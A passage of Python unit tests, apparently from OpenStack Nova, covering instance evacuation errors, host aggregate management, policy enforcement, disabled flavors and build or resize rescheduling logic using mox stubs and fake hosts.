fake_service_is_up) self.stubs.Set(self.compute_api.compute_rpcapi, 'rebuild_instance', fake_rebuild_instance) self.compute_api.evacuate(self.context.elevated(), instance, host='fake_dest_host', on_shared_storage=True, admin_password=None) instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_states.REBUILDING) self.assertEqual(instance['host'], 'fake_dest_host') db.instance_destroy(self.context, instance['uuid']) def test_fail_evacuate_from_non_existing_host(self): inst = {} inst['vm_state'] = vm_states.ACTIVE inst['launched_at'] = timeutils.utcnow() inst['image_ref'] = FAKE_IMAGE_REF inst['reservation_id'] = 'r-fakeres' inst['user_id'] = self.user_id inst['project_id'] = self.project_id inst['host'] = 'fake_host' inst['node'] = NODENAME type_id = flavors.get_flavor_by_name('m1.tiny')['id'] inst['instance_type_id'] = type_id inst['ami_launch_index'] = 0 inst['memory_mb'] = 0 inst['vcpus'] = 0 inst['root_gb'] = 0 inst['ephemeral_gb'] = 0 inst['architecture'] = 'x86_64' inst['os_type'] = 'Linux' instance = jsonutils.to_primitive(db.instance_create(self.context, inst)) instance_uuid = instance['uuid'] instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) self.assertRaises(exception.ComputeHostNotFound, self.compute_api.evacuate, self.context.elevated(), instance, host='fake_dest_host', on_shared_storage=True, admin_password=None) db.instance_destroy(self.context, instance['uuid']) def test_fail_evacuate_from_running_host(self): instance = jsonutils.to_primitive(self._create_fake_instance( services=True)) instance_uuid = instance['uuid'] instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) def fake_service_is_up(*args, **kwargs): return True self.stubs.Set(self.compute_api.servicegroup_api, 'service_is_up', fake_service_is_up) self.assertRaises(exception.ComputeServiceUnavailable, self.compute_api.evacuate, self.context.elevated(), instance, host='fake_dest_host', on_shared_storage=True, admin_password=None) db.instance_destroy(self.context, instance['uuid']) def test_fail_evacuate_instance_in_wrong_state(self): instances = [ jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.BUILDING})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.PAUSED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.SUSPENDED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.RESCUED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.RESIZED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.SOFT_DELETED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.DELETED})), jsonutils.to_primitive(self._create_fake_instance( {'vm_state': vm_states.ERROR})) ] for instance in instances: self.assertRaises(exception.InstanceInvalidState, self.compute_api.evacuate, self.context, instance, host='fake_dest_host', on_shared_storage=True, admin_password=None) db.instance_destroy(self.context, instance['uuid']) def test_get_migrations(self): migration = {uuid: "1234"} filters = {'host': 'host1'} self.mox.StubOutWithMock(db, "migration_get_all_by_filters") db.migration_get_all_by_filters(self.context, filters).AndReturn([migration]) self.mox.ReplayAll() migrations = self.compute_api.get_migrations(self.context, filters) self.assertEqual(migrations, [migration]) def _setup_get_instance_bdm_mox(self): new_bdm = object() self.mox.StubOutWithMock(self.compute_api.db, 'block_device_mapping_get_all_by_instance') self.compute_api.db.\ block_device_mapping_get_all_by_instance( mox.IgnoreArg(), mox.IgnoreArg()).AndReturn(new_bdm) return new_bdm def test_get_instance_bdms_legacy(self): expected = self._setup_get_instance_bdm_mox() self.mox.ReplayAll() instance = {'uuid': 'fake-instance'} self.assertEqual(expected, self.compute_api.get_instance_bdms({}, instance, legacy=False)) def test_get_instance_bdms_default(self): new_bdm = self._setup_get_instance_bdm_mox() expected = legacy_bdm = object() self.mox.StubOutWithMock(block_device, 'legacy_mapping') block_device.legacy_mapping(new_bdm).AndReturn(legacy_bdm) self.mox.ReplayAll() instance = {'uuid': 'fake-instance'} self.assertEqual(expected, self.compute_api.get_instance_bdms({}, instance)) def fake_rpc_method(context, topic, msg, do_cast=True): pass def _create_service_entries(context, values={'avail_zone1': ['fake_host1', 'fake_host2'], 'avail_zone2': ['fake_host3'], }): for avail_zone, hosts in values.iteritems(): for host in hosts: db.service_create(context, {'host': host, 'binary': 'nova-compute', 'topic': 'compute', 'report_count': 0}) return values class ComputeAPIAggrTestCase(BaseTestCase): """This is for unit coverage of aggregate-related methods defined in nova.compute.api. """ def setUp(self): super(ComputeAPIAggrTestCase, self).setUp() self.api = compute_api.AggregateAPI() self.context = context.get_admin_context() self.stubs.Set(rpc, 'call', fake_rpc_method) self.stubs.Set(rpc, 'cast', fake_rpc_method) def test_aggregate_no_zone(self): # Ensure we can create an aggregate without an availability zone aggr = self.api.create_aggregate(self.context, 'fake_aggregate', None) self.api.delete_aggregate(self.context, aggr['id']) db.aggregate_get(self.context.elevated(read_deleted='yes'), aggr['id']) self.assertRaises(exception.AggregateNotFound, self.api.delete_aggregate, self.context, aggr['id']) def test_update_aggregate(self): # Ensure metadata can be updated. aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') test_notifier.NOTIFICATIONS = [] aggr = self.api.update_aggregate(self.context, aggr['id'], {'name': 'new_fake_aggregate'}) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.updateprop.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.updateprop.end') def test_update_aggregate_metadata(self): # Ensure metadata can be updated. aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') metadata = {'foo_key1': 'foo_value1', 'foo_key2': 'foo_value2', } test_notifier.NOTIFICATIONS = [] aggr = self.api.update_aggregate_metadata(self.context, aggr['id'], metadata) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.updatemetadata.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.updatemetadata.end') metadata['foo_key1'] = None expected = self.api.update_aggregate_metadata(self.context, aggr['id'], metadata) self.assertThat(expected['metadata'], matchers.DictMatches({'availability_zone': 'fake_zone', 'foo_key2': 'foo_value2'})) def test_delete_aggregate(self): # Ensure we can delete an aggregate. test_notifier.NOTIFICATIONS = [] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.create.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.create.end') test_notifier.NOTIFICATIONS = [] self.api.delete_aggregate(self.context, aggr['id']) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.delete.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.delete.end') db.aggregate_get(self.context.elevated(read_deleted='yes'), aggr['id']) self.assertRaises(exception.AggregateNotFound, self.api.delete_aggregate, self.context, aggr['id']) def test_delete_non_empty_aggregate(self): # Ensure InvalidAggregateAction is raised when non empty aggregate. _create_service_entries(self.context, {'fake_availability_zone': ['fake_host']}) aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_availability_zone') self.api.add_host_to_aggregate(self.context, aggr['id'], 'fake_host') self.assertRaises(exception.InvalidAggregateAction, self.api.delete_aggregate, self.context, aggr['id']) def test_add_host_to_aggregate(self): # Ensure we can add a host to an aggregate. values = _create_service_entries(self.context) fake_zone = values.keys()[0] fake_host = values[fake_zone][0] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) def fake_add_aggregate_host(*args, **kwargs): hosts = kwargs["aggregate"]["hosts"] self.assertTrue(fake_host in hosts) self.stubs.Set(self.api.compute_rpcapi, 'add_aggregate_host', fake_add_aggregate_host) test_notifier.NOTIFICATIONS = [] aggr = self.api.add_host_to_aggregate(self.context, aggr['id'], fake_host) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.addhost.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.addhost.end') self.assertEqual(len(aggr['hosts']), 1) def test_add_host_to_multi_az(self): # Ensure we can't add a host to different availability zone values = _create_service_entries(self.context) fake_zone = values.keys()[0] fake_host = values[fake_zone][0] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) aggr = self.api.add_host_to_aggregate(self.context, aggr['id'], fake_host) self.assertEqual(len(aggr['hosts']), 1) fake_zone2 = "another_zone" aggr2 = self.api.create_aggregate(self.context, 'fake_aggregate2', fake_zone2) self.assertRaises(exception.InvalidAggregateAction, self.api.add_host_to_aggregate, self.context, aggr2['id'], fake_host) def test_add_host_to_aggregate_multiple(self): # Ensure we can add multiple hosts to an aggregate. values = _create_service_entries(self.context) fake_zone = values.keys()[0] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) for host in values[fake_zone]: aggr = self.api.add_host_to_aggregate(self.context, aggr['id'], host) self.assertEqual(len(aggr['hosts']), len(values[fake_zone])) def test_add_host_to_aggregate_raise_not_found(self): # Ensure ComputeHostNotFound is raised when adding invalid host. aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') self.assertRaises(exception.ComputeHostNotFound, self.api.add_host_to_aggregate, self.context, aggr['id'], 'invalid_host') def test_remove_host_from_aggregate_active(self): # Ensure we can remove a host from an aggregate. values = _create_service_entries(self.context) fake_zone = values.keys()[0] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) for host in values[fake_zone]: aggr = self.api.add_host_to_aggregate(self.context, aggr['id'], host) host_to_remove = values[fake_zone][0] def fake_remove_aggregate_host(*args, **kwargs): hosts = kwargs["aggregate"]["hosts"] self.assertFalse(host_to_remove in hosts) self.stubs.Set(self.api.compute_rpcapi, 'remove_aggregate_host', fake_remove_aggregate_host) test_notifier.NOTIFICATIONS = [] expected = self.api.remove_host_from_aggregate(self.context, aggr['id'], host_to_remove) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'aggregate.removehost.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'aggregate.removehost.end') self.assertEqual(len(aggr['hosts']) - 1, len(expected['hosts'])) def test_remove_host_from_aggregate_raise_not_found(self): # Ensure ComputeHostNotFound is raised when removing invalid host. _create_service_entries(self.context, {'fake_zone': ['fake_host']}) aggr = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') self.assertRaises(exception.ComputeHostNotFound, self.api.remove_host_from_aggregate, self.context, aggr['id'], 'invalid_host') def test_aggregate_list(self): aggregate = self.api.create_aggregate(self.context, 'fake_aggregate', 'fake_zone') metadata = {'foo_key1': 'foo_value1', 'foo_key2': 'foo_value2'} meta_aggregate = self.api.create_aggregate(self.context, 'fake_aggregate2', 'fake_zone2') self.api.update_aggregate_metadata(self.context, meta_aggregate['id'], metadata) aggregate_list = self.api.get_aggregate_list(self.context) self.assertIn(aggregate['id'], map(lambda x: x['id'], aggregate_list)) self.assertIn(meta_aggregate['id'], map(lambda x: x['id'], aggregate_list)) self.assertIn('fake_aggregate', map(lambda x: x['name'], aggregate_list)) self.assertIn('fake_aggregate2', map(lambda x: x['name'], aggregate_list)) self.assertIn('fake_zone', map(lambda x: x['availability_zone'], aggregate_list)) self.assertIn('fake_zone2', map(lambda x: x['availability_zone'], aggregate_list)) test_meta_aggregate = aggregate_list[1] self.assertIn('foo_key1', test_meta_aggregate.get('metadata')) self.assertIn('foo_key2', test_meta_aggregate.get('metadata')) self.assertEquals('foo_value1', test_meta_aggregate.get('metadata')['foo_key1']) self.assertEquals('foo_value2', test_meta_aggregate.get('metadata')['foo_key2']) def test_aggregate_list_with_hosts(self): values = _create_service_entries(self.context) fake_zone = values.keys()[0] host_aggregate = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) self.api.add_host_to_aggregate(self.context, host_aggregate['id'], values[fake_zone][0]) aggregate_list = self.api.get_aggregate_list(self.context) aggregate = aggregate_list[0] self.assertIn(values[fake_zone][0], aggregate.get('hosts')) class ComputeAggrTestCase(BaseTestCase): """This is for unit coverage of aggregate-related methods defined in nova.compute.manager. """ def setUp(self): super(ComputeAggrTestCase, self).setUp() self.context = context.get_admin_context() values = {'name': 'test_aggr'} az = {'availability_zone': 'test_zone'} self.aggr = db.aggregate_create(self.context, values, metadata=az) def test_add_aggregate_host(self): def fake_driver_add_to_aggregate(context, aggregate, host, **_ignore): fake_driver_add_to_aggregate.called = True return {"foo": "bar"} self.stubs.Set(self.compute.driver, "add_to_aggregate", fake_driver_add_to_aggregate) self.compute.add_aggregate_host(self.context, "host", aggregate=jsonutils.to_primitive(self.aggr)) self.assertTrue(fake_driver_add_to_aggregate.called) def test_remove_aggregate_host(self): def fake_driver_remove_from_aggregate(context, aggregate, host, **_ignore): fake_driver_remove_from_aggregate.called = True self.assertEqual("host", host, "host") return {"foo": "bar"} self.stubs.Set(self.compute.driver, "remove_from_aggregate", fake_driver_remove_from_aggregate) self.compute.remove_aggregate_host(self.context, aggregate=jsonutils.to_primitive(self.aggr), host="host") self.assertTrue(fake_driver_remove_from_aggregate.called) def test_add_aggregate_host_passes_slave_info_to_driver(self): def driver_add_to_aggregate(context, aggregate, host, **kwargs): self.assertEquals(self.context, context) self.assertEquals(aggregate['id'], self.aggr['id']) self.assertEquals(host, "the_host") self.assertEquals("SLAVE_INFO", kwargs.get("slave_info")) self.stubs.Set(self.compute.driver, "add_to_aggregate", driver_add_to_aggregate) self.compute.add_aggregate_host(self.context, "the_host", slave_info="SLAVE_INFO", aggregate=jsonutils.to_primitive(self.aggr)) def test_remove_from_aggregate_passes_slave_info_to_driver(self): def driver_remove_from_aggregate(context, aggregate, host, **kwargs): self.assertEquals(self.context, context) self.assertEquals(aggregate['id'], self.aggr['id']) self.assertEquals(host, "the_host") self.assertEquals("SLAVE_INFO", kwargs.get("slave_info")) self.stubs.Set(self.compute.driver, "remove_from_aggregate", driver_remove_from_aggregate) self.compute.remove_aggregate_host(self.context, aggregate=jsonutils.to_primitive(self.aggr), host="the_host", slave_info="SLAVE_INFO") class ComputePolicyTestCase(BaseTestCase): def setUp(self): super(ComputePolicyTestCase, self).setUp() self.compute_api = compute.API() def test_actions_are_prefixed(self): self.mox.StubOutWithMock(policy, 'enforce') nova.policy.enforce(self.context, 'compute:reboot', {}) self.mox.ReplayAll() compute_api.check_policy(self.context, 'reboot', {}) def test_wrapped_method(self): instance = self._create_fake_instance(params={'host': None, 'cell_name': 'foo'}) # force delete to fail rules = {"compute:delete": [["false:false"]]} self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.delete, self.context, instance) # reset rules to allow deletion rules = {"compute:delete": []} self.policy.set_rules(rules) self.compute_api.delete(self.context, self._objectify(instance)) def test_create_fail(self): rules = {"compute:create": [["false:false"]]} self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.create, self.context, '1', '1') def test_create_attach_volume_fail(self): rules = { "compute:create": [], "compute:create:attach_network": [["false:false"]], "compute:create:attach_volume": [], } self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.create, self.context, '1', '1', requested_networks='blah', block_device_mapping='blah') def test_create_attach_network_fail(self): rules = { "compute:create": [], "compute:create:attach_network": [], "compute:create:attach_volume": [["false:false"]], } self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.create, self.context, '1', '1', requested_networks='blah', block_device_mapping='blah') def test_get_fail(self): instance = self._create_fake_instance() rules = { "compute:get": [["false:false"]], } self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.get, self.context, instance['uuid']) def test_get_all_fail(self): rules = { "compute:get_all": [["false:false"]], } self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.get_all, self.context) def test_get_instance_faults(self): instance1 = self._create_fake_instance() instance2 = self._create_fake_instance() instances = [instance1, instance2] rules = { "compute:get_instance_faults": [["false:false"]], } self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.get_instance_faults, context.get_admin_context(), instances) def test_force_host_fail(self): rules = {"compute:create": [], "compute:create:forced_host": [["role:fake"]], "network:validate_networks": []} self.policy.set_rules(rules) self.assertRaises(exception.PolicyNotAuthorized, self.compute_api.create, self.context, None, '1', availability_zone='1:1') def test_force_host_pass(self): rules = {"compute:create": [], "compute:create:forced_host": [], "network:validate_networks": []} self.policy.set_rules(rules) self.compute_api.create(self.context, None, '1', availability_zone='1:1') class DisabledInstanceTypesTestCase(BaseTestCase): """ Some instance-types are marked 'disabled' which means that they will not show up in customer-facing listings. We do, however, want those instance-types to be available for emergency migrations and for rebuilding of existing instances. One legitimate use of the 'disabled' field would be when phasing out a particular instance-type. We still want customers to be able to use an instance that of the old type, and we want Ops to be able perform migrations against it, but we *don't* want customers building new slices with ths phased-out instance-type. """ def setUp(self): super(DisabledInstanceTypesTestCase, self).setUp() self.compute_api = compute.API() self.inst_type = flavors.get_default_flavor() def test_can_build_instance_from_visible_instance_type(self): self.inst_type['disabled'] = False # Assert that exception.InstanceTypeNotFound is not raised self.compute_api.create(self.context, self.inst_type, None) def test_cannot_build_instance_from_disabled_instance_type(self): self.inst_type['disabled'] = True self.assertRaises(exception.InstanceTypeNotFound, self.compute_api.create, self.context, self.inst_type, None) def test_can_resize_to_visible_instance_type(self): instance = self._create_fake_instance() orig_get_flavor_by_flavor_id =\ flavors.get_flavor_by_flavor_id def fake_get_flavor_by_flavor_id(flavor_id, ctxt=None, read_deleted="yes"): instance_type = orig_get_flavor_by_flavor_id(flavor_id, ctxt, read_deleted) instance_type['disabled'] = False return instance_type self.stubs.Set(flavors, 'get_flavor_by_flavor_id', fake_get_flavor_by_flavor_id) # FIXME(sirp): for legacy this raises FlavorNotFound instead of # InstanceTypeNotFound; we should eventually make it raise # InstanceTypeNotFound for consistency. self.compute_api.resize(self.context, instance, '4') def test_cannot_resize_to_disabled_instance_type(self): instance = self._create_fake_instance() orig_get_flavor_by_flavor_id = \ flavors.get_flavor_by_flavor_id def fake_get_flavor_by_flavor_id(flavor_id, ctxt=None, read_deleted="yes"): instance_type = orig_get_flavor_by_flavor_id(flavor_id, ctxt, read_deleted) instance_type['disabled'] = True return instance_type self.stubs.Set(flavors, 'get_flavor_by_flavor_id', fake_get_flavor_by_flavor_id) # FIXME(sirp): for legacy this raises FlavorNotFound instead of # InstanceTypeNot; we should eventually make it raise # InstanceTypeNotFound for consistency. self.assertRaises(exception.FlavorNotFound, self.compute_api.resize, self.context, instance, '4') class ComputeReschedulingTestCase(BaseTestCase): """Tests re-scheduling logic for new build requests.""" def setUp(self): super(ComputeReschedulingTestCase, self).setUp() self.expected_task_state = task_states.SCHEDULING def fake_update(*args, **kwargs): self.updated_task_state = kwargs.get('task_state') self.stubs.Set(self.compute, '_instance_update', fake_update) def _reschedule(self, request_spec=None, filter_properties=None, exc_info=None): if not filter_properties: filter_properties = {} instance_uuid = "12-34-56-78-90" admin_password = None injected_files = None requested_networks = None is_first_time = False scheduler_method = self.compute.scheduler_rpcapi.run_instance method_args = (request_spec, admin_password, injected_files, requested_networks, is_first_time, filter_properties) return self.compute._reschedule(self.context, request_spec, filter_properties, instance_uuid, scheduler_method, method_args, self.expected_task_state, exc_info=exc_info) def test_reschedule_no_filter_properties(self): # no filter_properties will disable re-scheduling. self.assertFalse(self._reschedule()) def test_reschedule_no_retry_info(self): # no retry info will also disable re-scheduling. filter_properties = {} self.assertFalse(self._reschedule(filter_properties=filter_properties)) def test_reschedule_no_request_spec(self): # no request spec will also disable re-scheduling. retry = dict(num_attempts=1) filter_properties = dict(retry=retry) self.assertFalse(self._reschedule(filter_properties=filter_properties)) def test_reschedule_success(self): retry = dict(num_attempts=1) filter_properties = dict(retry=retry) request_spec = {'instance_uuids': ['foo', 'bar']} try: raise test.TestingException("just need an exception") except test.TestingException: exc_info = sys.exc_info() exc_str = traceback.format_exception(*exc_info) self.assertTrue(self._reschedule(filter_properties=filter_properties, request_spec=request_spec, exc_info=exc_info)) self.assertEqual(1, len(request_spec['instance_uuids'])) self.assertEqual(self.updated_task_state, self.expected_task_state) self.assertEqual(exc_str, filter_properties['retry']['exc']) class ComputeReschedulingResizeTestCase(ComputeReschedulingTestCase): """Test re-scheduling logic for prep_resize requests.""" def setUp(self): super(ComputeReschedulingResizeTestCase, self).setUp() self.expected_task_state = task_states.RESIZE_PREP def _reschedule(self, request_spec=None, filter_properties=None, exc_info=None): if not filter_properties: filter_properties = {} instance_uuid = "12-34-56-78-90" instance = {'uuid': instance_uuid} instance_type = {} image = None reservations = None scheduler_method = self.compute.scheduler_rpcapi.prep_resize method_args = (instance, instance_type, image, request_spec, filter_properties, reservations) return self.compute._reschedule(self.context, request_spec, filter_properties, instance_uuid, scheduler_method, method_args, self.expected_task_state, exc_info=exc_info) class InnerTestingException(Exception): pass class ComputeRescheduleOrErrorTestCase(BaseTestCase): """Test logic and exception handling around rescheduling or re-raising original exceptions when builds fail. """ def setUp(self): super(ComputeRescheduleOrErrorTestCase, self).setUp() self.instance = self._create_fake_instance() def test_reschedule_or_error_called(self): """Basic sanity check to make sure _reschedule_or_error is called when a build fails. """ self.mox.StubOutWithMock(self.compute, '_spawn') self.mox.StubOutWithMock(self.compute, '_reschedule_or_error') self.compute._spawn(mox.IgnoreArg(), self.instance, mox.IgnoreArg(), [], mox.IgnoreArg(), [], None, set_access_ip=False).AndRaise( test.TestingException("BuildError")) self.compute._reschedule_or_error(mox.IgnoreArg(), self.instance, mox.IgnoreArg(), None, None, None, False, None, {}, []).\ AndReturn(True) self.mox.ReplayAll() self.compute._run_instance(self.context, None, {}, None, None, None, False, None, self.instance) def test_shutdown_instance_fail(self): """Test shutdown instance failing before re-scheduling logic can even run. """ instance_uuid = self.instance['uuid'] self.mox.StubOutWithMock(self.compute, '_shutdown_instance') try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() compute_utils.add_instance_fault_from_exc(self.context, self.compute.conductor_api, self.instance, exc_info[0], exc_info=exc_info) self.compute._shutdown_instance(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(InnerTestingException("Error")) self.compute._log_original_error(exc_info, instance_uuid) self.mox.ReplayAll() # should raise the deallocation exception, not the original build # error: self.assertRaises(InnerTestingException, self.compute._reschedule_or_error, self.context, self.instance, exc_info, None, None, None, False, None, {}) def test_reschedule_fail(self): # Test handling of exception from _reschedule. try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() instance_uuid = self.instance['uuid'] method_args = (None, None, None, None, False, {}) self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(self.compute, '_reschedule') self.compute._shutdown_instance(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._cleanup_volumes(self.context, instance_uuid, mox.IgnoreArg()) self.compute._reschedule(self.context, None, instance_uuid, {}, self.compute.scheduler_rpcapi.run_instance, method_args, task_states.SCHEDULING, exc_info).AndRaise( InnerTestingException("Inner")) self.mox.ReplayAll() self.assertFalse(self.compute._reschedule_or_error(self.context, self.instance, exc_info, None, None, None, False, None, {})) def test_reschedule_false(self): # Test not-rescheduling, but no nested exception. instance_uuid = self.instance['uuid'] method_args = (None, None, None, None, False, {}) self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(self.compute, '_reschedule') try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() compute_utils.add_instance_fault_from_exc(self.context, self.compute.conductor_api, self.instance, exc_info[0], exc_info=exc_info) self.compute._shutdown_instance(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._cleanup_volumes(self.context, instance_uuid, mox.IgnoreArg()) self.compute._reschedule(self.context, None, {}, instance_uuid, self.compute.scheduler_rpcapi.run_instance, method_args, task_states.SCHEDULING, exc_info).AndReturn(False) self.mox.ReplayAll() # re-scheduling is False, the original build error should be # raised here: self.assertFalse(self.compute._reschedule_or_error(self.context, self.instance, exc_info, None, None, None, False, None, {})) def test_reschedule_true(self): # Test behavior when re-scheduling happens. instance_uuid = self.instance['uuid'] method_args = (None, None, None, None, False, {}) self.mox.StubOutWithMock(self.compute, '_shutdown_instance') self.mox.StubOutWithMock(self.compute, '_cleanup_volumes') self.mox.StubOutWithMock(self.compute, '_reschedule') try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() compute_utils.add_instance_fault_from_exc(self.context, self.compute.conductor_api, self.instance, exc_info[0], exc_info=exc_info) self.compute._shutdown_instance(self.context, self.instance, mox.IgnoreArg(), mox.IgnoreArg()) self.compute._cleanup_volumes(self.context, instance_uuid, mox.IgnoreArg()) self.compute._reschedule(self.context, None, {}, instance_uuid, self.compute.scheduler_rpcapi.run_instance, method_args, task_states.SCHEDULING, exc_info).AndReturn( True) self.compute._log_original_error(exc_info, instance_uuid) self.mox.ReplayAll() # re-scheduling is True, original error is logged, but nothing # is raised: self.compute._reschedule_or_error(self.context, self.instance, exc_info, None, None, None, False, None, {}) def test_no_reschedule_on_delete_during_spawn(self): # instance should not be rescheduled if instance is deleted # during the build self.mox.StubOutWithMock(self.compute, '_spawn') self.mox.StubOutWithMock(self.compute, '_reschedule_or_error') exc = exception.UnexpectedTaskStateError(expected=task_states.SPAWNING, actual=task_states.DELETING) self.compute._spawn(mox.IgnoreArg(), self.instance, mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), set_access_ip=False).AndRaise(exc) self.mox.ReplayAll() # test succeeds if mocked method '_reschedule_or_error' is not # called. self.compute._run_instance(self.context, None, {}, None, None, None, False, None, self.instance) def test_no_reschedule_on_unexpected_task_state(self): # instance shouldn't be rescheduled if unexpected task state arises. # the exception should get reraised. self.mox.StubOutWithMock(self.compute, '_spawn') self.mox.StubOutWithMock(self.compute, '_reschedule_or_error') exc = exception.UnexpectedTaskStateError(expected=task_states.SPAWNING, actual=task_states.SCHEDULING) self.compute._spawn(mox.IgnoreArg(), self.instance, mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg(), set_access_ip=False).AndRaise(exc) self.mox.ReplayAll() self.assertRaises(exception.UnexpectedTaskStateError, self.compute._run_instance, self.context, None, {}, None, None, None, False, None, self.instance) class ComputeRescheduleResizeOrReraiseTestCase(BaseTestCase): """Test logic and exception handling around rescheduling prep resize requests """ def setUp(self): super(ComputeRescheduleResizeOrReraiseTestCase, self).setUp() self.instance = self._create_fake_instance() self.instance_uuid = self.instance['uuid'] self.instance_type = flavors.get_flavor_by_name( "m1.tiny") def test_reschedule_resize_or_reraise_called(self): """Verify the rescheduling logic gets called when there is an error during prep_resize. """ self.mox.StubOutWithMock(self.compute.db, 'migration_create') self.mox.StubOutWithMock(self.compute, '_reschedule_resize_or_reraise') self.compute.db.migration_create(mox.IgnoreArg(), mox.IgnoreArg()).AndRaise(test.TestingException("Original")) self.compute._reschedule_resize_or_reraise(mox.IgnoreArg(), None, self.instance, mox.IgnoreArg(), self.instance_type, None, None, None) self.mox.ReplayAll() self.compute.prep_resize(self.context, None, self.instance, self.instance_type) def test_reschedule_fails_with_exception(self): """Original exception should be raised if the _reschedule method raises another exception """ method_args = (None, self.instance, self.instance_type, None, None, None) self.mox.StubOutWithMock(self.compute, "_reschedule") self.compute._reschedule(self.context, None, None, self.instance_uuid, self.compute.scheduler_rpcapi.prep_resize, method_args, task_states.RESIZE_PREP).AndRaise( InnerTestingException("Inner")) self.mox.ReplayAll() try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() self.assertRaises(test.TestingException, self.compute._reschedule_resize_or_reraise, self.context, None, self.instance, exc_info, self.instance_type, None, {}, {}) def test_reschedule_false(self): """Original exception should be raised if the resize is not rescheduled. """ method_args = (None, self.instance, self.instance_type, None, None, None) self.mox.StubOutWithMock(self.compute, "_reschedule") self.compute._reschedule(self.context, None, None, self.instance_uuid, self.compute.scheduler_rpcapi.prep_resize, method_args, task_states.RESIZE_PREP).AndReturn(False) self.mox.ReplayAll() try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() self.assertRaises(test.TestingException, self.compute._reschedule_resize_or_reraise, self.context, None, self.instance, exc_info, self.instance_type, None, {}, {}) def test_reschedule_true(self): # If rescheduled, the original resize exception should be logged. method_args = (self.instance, self.instance_type, None, {}, {}, None) try: raise test.TestingException("Original") except Exception: exc_info = sys.exc_info() self.mox.StubOutWithMock(self.compute, "_reschedule") self.mox.StubOutWithMock(self.compute, "_log_original_error") self.compute._reschedule(self.context, {}, {}, self.instance_uuid, self.compute.scheduler_rpcapi.prep_resize, method_args, task_states.RESIZE_PREP, exc_info).AndReturn(True) self.compute._log_original_error(exc_info, self.instance_uuid) self.mox.ReplayAll() self.compute._reschedule_resize_or_reraise(self.context, None, self.instance, exc_info, self.instance_type, None, {}, {}) class ComputeInactiveImageTestCase(BaseTestCase): def setUp(self): super(ComputeInactiveImageTestCase, self).setUp() def fake_show(meh, context, id): return {'id': id, 'min_disk': None, 'min_ram': None, 'name': 'fake_name', 'status': 'deleted', 'properties': {'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id', 'something_else': 'meow'}} 